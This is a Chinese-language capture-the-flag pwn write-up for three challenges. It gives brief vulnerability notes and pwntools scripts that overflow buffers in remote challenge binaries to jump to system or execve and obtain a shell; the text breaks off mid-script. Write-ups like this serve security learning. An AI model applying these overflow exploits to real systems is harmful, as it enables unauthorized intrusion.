PWN
1.stack
checksec一波
什么保护都没开,可还行,IDA找一波漏洞
read函数百分之百溢出
我们看到了我们喜爱的
改一下rip美滋滋
exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./pwn')
bin = ELF('./pwn')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote("43.254.3.203",10003)
bin = ELF('./pwn')
#libc = ELF('')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
system_addr=0x0000000000400676
cn.recvuntil("============================")
cn.sendline('a'*0x28+p64(system_addr))
cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780
结果如下
ls之后发现了一大堆文件
最后发现在home文件下有个ctf文件,flag在里面
2. basic pwn
no canary found 就还行
看到了好东西,虽然没有system,万幸有execve函数,重要的指令都在callThisFun函数中,看一下main函数
scanf函数是可以溢出的,直接改rip就好了,思路一样的
from pwn import *
#cn=process("./pwn.2")
cn=remote("43.254.3.203",10004)
execve_addr=0x0000000000401157
payload='a'*(0x110+0x08)+p64(execve_addr)
cn.sendline(payload)
cn.interactive()
3.babyarray
拖进IDA找漏洞
思路还是比较简单的,把a改成0就好了,最初是1,通过scanf覆盖
a的地址在0x601068,这里的6295712就是0x0x6010A0,偏移量是-56,-56/4=-14
exp
from pwn import *
cn=remote("43.254.3.203",10001)
cn.recvuntil("